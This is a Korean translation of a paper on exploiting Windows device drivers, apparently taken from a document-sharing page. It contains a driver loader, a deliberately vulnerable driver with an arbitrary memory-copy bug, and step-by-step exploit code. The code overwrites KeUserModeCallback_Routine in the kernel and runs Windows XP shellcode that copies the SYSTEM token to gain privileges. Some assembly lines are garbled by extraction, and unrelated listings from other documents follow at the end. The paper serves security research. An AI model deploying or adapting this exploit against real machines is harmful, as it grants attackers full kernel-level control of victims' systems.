저자는 코드나 정보제공에 있어서의 모든 행동에 대해 책임을 지지 않습니다

Size: px
Start display at page:

Download "저자는 코드나 정보제공에 있어서의 모든 행동에 대해 책임을 지지 않습니다"

Transcription

1 Exploiting Windows Device Drivers By Piotr Bania "By the pricking of my thumbs, something wicked this way comes..." "Macbeth", William Shakespeare. Univ.Chosun HackerLogin : Jeong Kyung Ho moltak@gmail.com

2 Introduction 장치드라이버의보얀취약점은윈도우나다른운영체제시스템에서점점더비중이크게다가오고있습니다. 이러한사실에관계되어 (OS의보안취약점 ) 이것은새로운분야이므로소수의기술적인논문들이이러한과제를포함하고있습니다. 제가기억하기로 Windows device driver 를이용한공격은 SEC-LABS 의 Win32 Device Drivers Communication Vulnerabilities 백서에서처음으로기술하고있습니다. 이문서는드라이버를이용한공격기술에대한밑거름을제공합니다. 두번째이논문의가치를확실히정의한것은 Barnary Jack 이라는사람입니다. 논문의제목은 Remote Windows Kernel Exploitation Step into the Ring 0. 기술적자료의부족함으로인해나는이논문에대해나의연구결과를공유하기로했습니다. 이논문에서나는내장치드라이버의개발기술과테스트를위한사용된기술과취약점이있는드라이버코드샘플을가진 exploit 코드등을포함하여상세한부분을서술하기로했습니다. 독자는 IA-32 어셈블리및소프트웨어보안취약점에대한개발의이전경험에대해친숙해져야합니다. 또이전에언급한두가지의백서에대해읽어보는것을추천하는바입니다. 연구할때필요한재료책상에서디바이스드라이버를작성하려면준비물이필요합니다 MB 이상의메모리 ( 가상머신을구동할수있는사양이되야한다.) - VM_WARE나 Virtual_PC 같은 Virtual Machine Emulator - Windbg or Softice VM_WARE에 Softice를사용했지만매우불안정했다. - IDA disassembler - 나중에내가사용하는툴을소개하겠습니다. 저는 named pipe 를통해 VMware 머신과호스트를이용하여원격디버깅을사용하였습니다만일반적으로는다른방법에더익숙해져야합니다. 그것은아마당신이미래에드라이버를갖고놀때필요한주요한것들이될것입니다.

3 Ring and Lands Bunch of facts OS 시스템은서로다른레벨에서작동할수있습니다 ( 흔히 Rings 라고부릅니다.) 가장권한이높은모드는 Ring 0 이라는커널모드로만약당신이 Ring 0를통해액세스한다면당신은시스템의신입니다. 커널모드의메모리주소는 0x 에서시작하고끝은 0xFFFFFFF 입니다. 사용자가쓸수있는코드 ( 소프트웨어응용프로그램 ) 는 Ring 3 에서돌아갑니다. ( 이것은 Ring 0 모드로의어떠한접속도허용하지않습니다.) 그리고그것은운영체제에직접적인접근을할수없고오직다른함수를 call을함으로써운영체제의기능을사용할수있습니다. 사용자모드의메모리는 0x 에서시작하여 0x7FFFFF 에서끝이납니다. Windows 시스템은두가지 Ring 모드만을사용합니다. ( 0 과 3) Driver loader 이예제드라이버를제시하기전에저는이것을불러오는방법을보여줄것입니다. 아래는프로그램소스입니다. /* wdl.c */ #define UNICODE #include <stdio.h> #include <conio.h> #include <windows.h> void install_driver(sc_handle sc, wchar_t *name) { SC_HANDLE service; wchar_t path[512]; wchar_t *fp; if (GetFullPathName(name, 512, path, &fp) == 0) { printf("[-] Error: GetFullPathName() failed, error = %d\n",getlasterror()); return; }

4 service = CreateService(sc, name, name, SERVICE_ALL_ACCESS, \ SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \ SERVICE_ERROR_NORMAL, path, NULL, NULL, NULL, \ NULL, NULL); if (service == NULL) { printf("[-] Error: CreateService() failed, error %d\n",getlasterror()); return; } printf("[+] Creating service - success.\n"); CloseServiceHandle(sc); if (StartService(service, 1, (const unsigned short**)&name) == 0) { printf("[-] Error: StartService() failed, error %d\n", GetLastError()); if (DeleteService(service) == 0) printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError()); } return; printf("[*] Staring service - success.\n"); CloseServiceHandle(service); } void delete_driver(sc_handle sc, wchar_t *name) { SC_HANDLE service; SERVICE_STATUS status; service = OpenService(sc, name, SERVICE_ALL_ACCESS); if (service == NULL) {

5 printf("[-] Error: OpenService() failed, error = %d\n", GetLastError()); return; } printf("[+] Opening service - success.\n"); if (ControlService(service, SERVICE_CONTROL_STOP, &status) == 0) { printf("[-] Error: ControlService() failed, error = %d\n",getlasterror()); return; } printf("[+] Stopping service - success.\n"); if (DeleteService(service) == 0) { printf("[-] Error: DeleteService() failed, error = %d\n", GetLastError()); return; } printf("[+] Deleting service - success\n"); CloseServiceHandle(sc); } Sample vulnerable driver 다음은이논문에서게시한드라이버에대한취약점을악용해보는소스코드입니다. 이것은 Iczelion s 의자료를기초로만든것입니다. ; buggy.asm start.386.model FLAT, STDCALL OPTION CASEMAP:NONE INCLUDE D:\masm32\include\windows.inc INCLUDE inc\string.inc INCLUDE inc\ntstruc.inc INCLUDE inc\ntddk.inc INCLUDE inc\ntoskrnl.inc INCLUDE inc\ntdll.inc INCLUDELIB D:\masm32\lib\wdm.lib INCLUDELIB D:\masm32\lib\ntoskrnl.lib

6 INCLUDELIB D:\masm32\lib\ntdll.lib.CONST pdevobj PDEVICE_OBJECT 0 TEXTW szdevpath, <\Device\BUGGY/0> TEXTW szsympath, <\DosDevices\BUGGY/0>.CODE assume fs : NOTHING DriverDispatch proc uses esi edi ebx, pdriverobject, pirp mov edi, pirp assume edi : PTR _IRP sub eax, eax mov [edi].iostatus.information, eax mov [edi].iostatus.status, eax assume edi : NOTHING mov esi, (_IRP PTR [edi]).pcurrentirpstacklocation assume esi : PTR IO_STACK_LOCATION.IF [esi].majorfunction == IRP_MJ_DEVICE_CONTROL mov eax, [esi].deviceiocontrol.iocontrolcode.if eax == h mov eax, (_IRP ptr [edi]).systembuffer ; inbuffer test eax,eax jz no_write mov edi, [eax] ; [inbuffer] = dest mov esi, [eax+4] ; [inbuffer+4] = src mov ecx, 512 ; ecx = 512 bytes rep movsb ; copy no_write:

7 .ENDIF.ENDIF assume esi : NOTHING mov edx, IO_NO_INCREMENT ; special calling mov ecx, pirp call IoCompleteRequest mov eax, STATUS_SUCCESS ret DriverDispatch ENDP DriverUnload proc uses ebx esi edi, DriverObject ocal ussym : UNICODE_STRING invoke RtlInitUnicodeString, ADDR ussym, OFFSET szsympath invoke IoDeleteSymbolicLink, ADDR ussym invoke IoDeleteDevice, pdevobj ret DriverUnload ENDP.CODE INIT DriverEntry proc uses ebx esi edi, DriverObject, RegPath local usdev : UNICODE_STRING local ussym : UNICODE_STRING invoke RtlInitUnicodeString, ADDR usdev, OFFSET szdevpath invoke IoCreateDevice, DriverObject, 0, ADDR usdev, FILE_DEVICE_NULL, 0, FALSE, OFFSET pdevobj test eax,eax jnz epr invoke RtlInitUnicodeString, ADDR ussym, OFFSET szsympath invoke IoCreateSymbolicLink, ADDR ussym, ADDR usdev test eax, eax jnz epr mov esi, DriverObject assume esi : PTR DRIVER_OBJECT

8 mov [esi].pdispatch_irp_mj_device_control, OFFSET DriverDispatch mov [esi].pdispatch_irp_mj_create, OFFSET DriverDispatch mov [esi].pdriver_unload, OFFSET DriverUnload assume esi : NOTHING mov eax, STATUS_SUCCESS epr: ret DriverEntry ENDP End DriverEntry ; buggy.asm ends Description of the vulnerability 아래의소스에서뚜렷한취약점을찾아볼수있을것입니다. --- SNIP IF eax == h mov eax, (_IRP ptr [edi]).systembuffer ; inbuffer test eax,eax jz no_write mov edi, [eax] ; [inbuffer] = dest mov esi, [eax+4] ; [inbuffer+4] = src mov ecx, 512 ; ecx = 512 bytes rep movsb ; copy no_write:.endif --- SNIP 만일드라이버가 lpinputbuffer parameter의값과 0x 을비교한값을얻는다면, 그것은 Null 과비교한것과같습니다. 그러나인자가서로다른경우드라이버는 input buffer( source / destination ) 의데이터를읽어오고원본메모리를대상메모리영역에 512bytes 만큼카피를하게됩니다.( memcpy() 와비슷한기능입니다. ) 아마도당신은어떻게이

9 렇게쉽게메모리가파손되는지에대해생각하고있을것입니다. 물론취약점을악용하는것은매우쉽지만드라이버안에데이터를쓸수없다는사실과대상메모리주소의파라미터에하드코드스택주소를통과하는것은전혀쓸모없다는것에대해생각해봐야합니다. 또한저런버그가대중적인소프트웨어에서존재하지않는다고말한다면그것은틀린것입니다. 더욱이이런공격기술은메모리의다양한취약점을공격하는것으로도묘사될수있다. off-by-one 이라불리는버그는공격자가겹쳐쓸메모리를지정해주지않습니다. 상상의날개를펼치고자시작합시다. Objective: 쓸수있는데이터를사용할위치무엇보다도우리는윈도우운영시스템의대부분들중에사용가능한모듈은일부커널모드에서찾을필요가있습니다. ( 예를들면윈도우계열의윈도우NT). 일반적으로이런사고유형의증가는다른시스템으로인한성공적인공격에향상됩니다. 그래서 ntoskrnl.exe를스캔해보면 - 윈도우의실제커널입니다. - KeSetTimeUpdateNotifyRoutine - PsSetCreateThreadNotifyRoutine - PsSetCreateProcessNotifyRoutine - PsSetLegoNotifyRoutine - PsSetLoadImageNotifyRoutine 이것은매우유용할것같습니다. Kesettimeupdatenotifyroutine 의검사를예로들면 : PAGE: C public KeSetTimeUpdateNotifyRoutine PAGE: C KeSetTimeUpdateNotifyRoutine proc near PAGE: C mov KiSetTimeUpdateNotifyRoutine, ecx PAGE: retn PAGE: KeSetTimeUpdateNotifyRoutine endp 다음과같은함수들은 KiSetTimeUpdateNotifyRoutine 처럼스스로메모리주소에이름이지어지게되고 ECX 레지스트리값이써집니다..text: C loc_ c: ; CODE XREF: KeUpdateRunTime+5E

10 j.text: c cmp ds:kisettimeupdatenotifyroutine, 0.text: jz short loc_ text: mov ecx, [ebx+1f0h].text: b call ds:kisettimeupdatenotifyroutine.text: mov eax, large fs:1ch.text: nop 0x B의명령에서알수있던것처럼 KiSetTimeUpdateNotifyRoutine로부터기억장치주소를수행합니다. ( 물론그것이 0이아닐때 ). 이것은우리에게 KiSetTimeUpdateNotifyRoutine을우리가수행하고싶은기억장치의주소를겹쳐서쓰는것과바꿔서쓰도록기회를줍니다. 그러나이방법에대한몇몇문제가있습니다. 내가몇몇윈도우의커널들을비교해보고추측해보니 - 대부분의경우이런절차를 "routines" 이라불렀습니다. (dword ptr [KiSetTimeUpdateNotifyRoutine] 이라고불리기도함.) - 그것들은오직읽거나쓰기만을할수있는데, 절대로실행은할수없었습니다. 이것은나에게매우실망스러운결과를주었습니다. 그래서나는다른그럴싸하고약한코드를찾는것을시작했습니다. 그리고몇몇의교차참조된메모리들을비교하고, 다음주소를찾아냈습니다. ( 나는이값의이름을 KeUserModeCallback_Routine 라고지어기록했습니다.).data:8054B208 KeUserModeCallback_Routine dd? ; DATA XREF: sub_ b+94 r.data:8054b208 ; KeUserModeCallback+C2 r... Referenced by: PAGE: E loc_ e: ; CODE XREF: KeUserModeCallback+A6 j PAGE: E cmp dword ptr [ebp-3ch], 0 PAGE: jbe short loc_ PAGE: add dword ptr [ebx], 0FFFFFF00h PAGE: A call KeUserModeCallback_Routine 0x a의커널명령어를사용할수있다는것을알수있었습니다. 이는타격을줄수있는충분한결과를줍니다. 그래서우리는지금전략을세우는것이좋습니다.

11 NOTE: 당연히다른사람이사악한생각으로공격을위하여사용할지도모릅니다. 그리고당신은자신의시스템서비스테이블을설치하거나조금더강력한일을할수도있습니다. 간략히여기에우리가취약점을이용하기위한메인포인트가있습니다. 1) ntoskrnl.exe의기초를찾는가? 매번윈도우가실행될때마다바뀌어야만하는것이다. 2) ntoskrnl.exe 모듈의유저영역공간을로드하고 KeUserModeCallback_Routine의주소를얻습니다. 마지막으로 ntoskrl 의베이스에그것을추가한후정확한가상주소를얻으세요. 3) 첫번째신호를보내고 KeUserModeCallback_Routine 주소에서 512 바이트를얻으세요. ( 버그의본질때문에우리의안정성을증가시킬것입니다. 우리가 KeUserModeCallback_Routine 의 4개바이트만바꿀것이기때문입니다.) 4) 특별히만들어진자료를가진신호를보내세요. ( 대부분 setp_ 이전의것을읽고 KeUserModeCallBackRoutine값을덮어씁니다. 그리고기억장치를가리키게됩니다.)(shellcode) 5) 특별한커널모드의쉘코드를개발하세요.( 물론쉘코드는 Point4 이전에준비되어있을것입니다? 4번째단계? 그것을수행하세요.) 5a) KeUserModeCallback_Routine의포인터를리셋합니다. 5b) 시스템이처리하는징표로서주어진프로세스를줍니다. 5c) 오래된 KeUserModeCallback_Routine에실행됩니다. Point 1: Locate ntoskrnl.exe base Ntoskrnl(windows kernel) 은모든부팅에기초하여변화하며, 이것때문에그것의베이스주소를직접수정해도쓸모없을것이기때문에우리는하지않습니다. 그래서우리는 native API와 SystemModuleInformaion Class 의 NtQuerySystemInformation 주소를얻을필요가있습니다. 다음과같

12 은코드는이프로세스를설명하고있습니다. NtQuerySystemInformaion prototype: ; ; Gets ntoskrnl.exe module base (real) ; get_ntos_base proc local MODULES : _MODULES 0,"Error: cannot grab NtQuerySystemInformation address" mov ebx,eax ; ebx = eax = NTQSI addr call a1 ; setup arguments ns dd 0 a1: push 4 lea ecx,[ MODULES] push ecx push SystemModuleInformation call eax ; execute the native cmp eax,0c h ; length mismatch? jne error_ntos push dword ptr [ns] ; needed size push GMEM_FIXED or GMEM_ZEROINIT ; type of GlobalAlloc ; allocate the buffer mov ebp,eax push 0 ; setup arguments push dword ptr [ns] push ebp push SystemModuleInformation call ebx ; get the information

13 test eax,eax ; still no success? jnz error_ntos ; first module is always ; ntoskrnl.exe mov eax,dword ptr [ebp.smi_base] ; get ntoskrnl base mov dword ptr [real_ntos_base],eax ; store it push ebp ; free the GlobalFree popad ret error_ntos: xor 0,"Error: cannot execute NtQuerySystemInformation" get_ntos_base endp _MODULES struct dwnmodules dd 0 ;_SYSTEM_MODULE_INFORMATION: smi_reserved dd 2 dup (0) smi_base dd 0 smi_size dd 0 smi_flags dd 0 smi_index dw 0 smi_unknown dw 0 smi_loadcount dw 0 smi_modulename dw 0 smi_imagename db 256 dup (0) ;_SYSTEM_MODULE_INFORMATION_SIZE = $-offset _SYSTEM_MODULE_INFORMATION ends Point 2: Load ntoskrnl.exe module and get

14 KeUserModeCallback_Routine address Ntoskrnl.ext를애플리케이션의공간안에서로딩하는것은아주간단합니다. 우리는 LoadLibraryEx API를통해서할수있습니다. 윈도우커널은다른 KeUserModeCallback_Routine의다른주소를갖고있고, 이것때문에우리는다른커널의정확한주소를얻을필요가있습니다. 당신이볼수있던대로당신의요청에대한요구는 ntoskrnl.exe 에포함되어있는 KeUserModeCallback 함수에서오게됩니다. ( call dword ptr[kisettimeupdatenotifyroutine]). 우리는이러한사실들을이용하여 KeUserModeCallback 주소와구체적인명령을호출하는코드를찾고나서몇번의계산을통해 KeUserModeCallback_Routine 의주소를손에넣을수있게될것입니다. 그코드를보여드리겠습니다. ; ; finds the KeUserModeCallback_Routine from ntoskrnl.exe ; find_keusermodecallback_routine proc pushad push 1 ;DONT_RESOLVE_DLL_REFERENCES push "C:\windows\system32\ntoskrnl.exe" ; ntoskrnl.exe is ok LoadLibraryExA ; load 0,"Error: cannot load library" mov ebx,eax ; copy handle to "KeUserModeCallback" push GetProcAddress ; get the address mov 0,"Error: cannot obtain KeUserModeCallback address" scan_for_call: inc edi

15 cmp word ptr [edi],015ffh ; the call we search for? jne scan_for_call ; nope, continue the scan mov eax,[edi+2] ; EAX = call address mov ecx,[ebx+3ch] add ecx,ebx ; ecx = PEH mov ecx,[ecx+34h] ; ECX = kernel base from PEH sub eax,ecx ; get the real address mov dword ptr [KeUserModeCallback_Routine],eax ; store popad ret find_keusermodecallback_routine endp Point 3: 첫번째신호를보내고 KeUserModeCallback_Routine 주소에서부터 512 바이트를얻어오시오! 우리가잘못된자료를 512바이트의커널자료에덮어쓸때, 우리는기계를망가뜨릴확률이높습니다. 이러한경우를피하기위해우리는까다로운방법을사용할것입니다 : 첫번째신호를전송하여특수하게채워진 lpinputbuffer ( 패킷 ) 구조로부터악성코드를보여줌으로써, 우리는본래의 ntoskrnl datas을얻을것입니다. ( 우리는그다음점에있는읽기전용데이터를사용할것이다.) D_PACKET struct ; little vulnerable driver dp_dest dd 0 ; signal struct dp_src dd 0 D_PACKET ends ; first signal copies original bytes to the buffer mov eax,dword ptr [KeUserModeCallback_Routine] mov dword ptr [routine_addr],eax mov [edi.d_packet.dp_src],eax ; eax = source mov [edi.d_packet.dp_dest],edi ; edi = dest (allocated mem) add [edi.d_packet.dp_dest],8 ; edi += sizeof(d_packet) mov ecx,512 ; size of input buffer call talk2device ; send the signal!!!

16 ; code will be stored at edi+8 Point 4: KeUserModeCallback_Routine를덮어쓰시오! 이시점에서는우리가가지고있는 Shellcode 때문에 ntoskrnl.exe 가실행될것이다. 일반적으로, 여기에서우리는스와핑의값을이전신호 ( 패킷일원 ) 에서전송한다. 그리고우리는오직첫신호에있는읽기버퍼의처음의 4 바이트만변경한다. ; make the old KeUserModeCallback_Routine point to our shellcode ; and exchange the source packet with destination packet mov [edi+8],edi ; overwrite the old routine add [edi+8], ; make it point to our shellc. mov eax,[edi.d_packet.dp_src] mov edx,[edi.d_packet.dp_dest] mov [edi.d_packet.dp_src],edx ; fill the packet structure mov [edi.d_packet.dp_dest],eax mov ecx,my_address_size call talk2device ; do the magic thing! Point 5: 특수커널모드의 Shellcode를개발하시오! 드라이버를악용하기때문에, 그것은우리가정상적인 Shellcode를사용할수없는게논리에맞습니다. 예를들면우리는우리의윈도우에서몇몇의다른 syscall shellcode 를사용할수있습니다. (SecurityFocus에서간행하는참고단면도를조사해보시오.) 그러나, 그곳에는더유용한개념들이존재합니다. 여기에서나는 Xfocus에서 Eyas에의해첫번째로소개된 Shellcode에관해이야기하겠습니다. 그아이디어는아주간단합니다. 첫번째로우리는시스템의토큰을찾는것과, 우리의과정에서이것을할당하는게필요합니다. - 이트릭은우리의프로세스에게시스템권한을제공할것입니다. 알고리즘 : - ETHREAD 찾기. ( fs : [0x124] 에항상위치한다.) - ETHREAD로부터 EPROCESS 구분분석을시작합니다.

17 - 우리가사용하는 EPROCESS.ActiveProcessLinks의모든실행중인프로세스를검사합니다. - 시스템 pid와함께실행하는과정을비교. ( window XP 는항상 4와같다.) - 그것을얻었을때, 우리는우리의 pid를찾고, 우리에게우리의프로세스의시스템토큰을할당합니다. 여기에모든 shellcode 가있습니다. ; ; Device Driver shellcode ; XP_PID_OFFSET equ 084h ; hardcoded numbers for Windows XP XP_FLINK_OFFSET equ 088h XP_TOKEN_OFFSET equ 0C8h XP_SYS_PID equ 04h my_shellcode proc pushad db 0b8h ; mov eax,old_routine old_routine dd 0 ; hardcoded db 0b9h ; mov ecx,routine_addr routine_addr dd 0 ; this too mov [ecx],eax ; restore old routine ; avoid multiple calls... ; ; start escalation procedure ; mov eax,dword ptr fs:[124h] mov eax,[eax+44h] push eax ; EAX = EPROCESS

18 s1: mov eax,[eax+xp_flink_offset] ; EAX = EPROCESS.ActiveProcessLinks.Flink sub eax,xp_flink_offset ; EAX = EPROCESS of next process cmp [eax+xp_pid_offset],xp_sys_pid ; UniqueProcessId == SYSTEM PID? jne s1 ; nope, continue search ; EAX = found EPROCESS mov edi,[eax+xp_token_offset] ; ptr to EPROCESS.token and edi,0fffffff8h ; aligned by 8 pop eax ; EAX = EPROCESS db 68h ; hardcoded push my_pid dd 0 pop ebx ; EBX = pid to escalate s2: mov eax,[eax+xp_flink_offset] ; EAX = EPROCESS.ActiveProcessLinks.Flink sub eax,xp_flink_offset ; EAX = EPROCESS of next process cmp [eax+xp_pid_offset],ebx ; is it our PID??? jne s2 ; nope, try next one mov [eax+xp_token_offset],edi ; party's over :) popad db 68h ; push old_routine old_routine2 dd 0 ; ret ret my_shellcode_size equ $ - offset my_shellcode my_shellcode endp;

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

/* */

/* */ /*---------------------------------------------------------------------------------*/ 번역 : innovation@wowhacker.org /*---------------------------------------------------------------------------------*/

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F494454486F6F6B696E672E687770>

<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F494454486F6F6B696E672E687770> IDT Hooking을 이용한 Simple KeyLogger 이동수 alonglog@is119.jnu.ac.kr 개 요 커널 Hooking에 관하여 공부하는 중에 IDT Hooking에 관하여 알게 되었다. 이전에 공부하 였던 SSDT Hooking과는 다른 요소가 많다. IDT Hooking을 공부하면서 컴퓨터의 인터럽트 과정을 이해할 수 있는 좋은 계기가

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft PowerPoint - a6.ppt [호환 모드] 이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

=

= written by vangelis(vangelis@wowhacker.org) 0 0000 8 1000 1 0001 9 1001 2 0010 10 1010 3 0011 11 1011 4 0100 12 1100 5 0101 13 1101 6 0110 14 1110 7 0111 15 1111 110112 + 100012 = 1011002 110 0000 0101

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

(Microsoft Word - \270\256\271\366\275\314 \271\370\277\252.doc)

(Microsoft Word - \270\256\271\366\275\314 \271\370\277\252.doc) Smashing the Signature (Korean Translation V.08-01 01) 안티바이러스의시그니쳐탐색기법을우회하기위해 PE 파일의 헤더및속성을수정하여코드섹션을암호화하는기법을소개함. Hacking Group OVERTIME MRB00 2008.09.10 Title:

More information

1217 WebTrafMon II

1217 WebTrafMon II (1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network

More information

61 62 63 64 234 235 p r i n t f ( % 5 d :, i+1); g e t s ( s t u d e n t _ n a m e [ i ] ) ; if (student_name[i][0] == \ 0 ) i = MAX; p r i n t f (\ n :\ n ); 6 1 for (i = 0; student_name[i][0]!= \ 0&&

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

Microsoft Word - Heap_Spray.doc

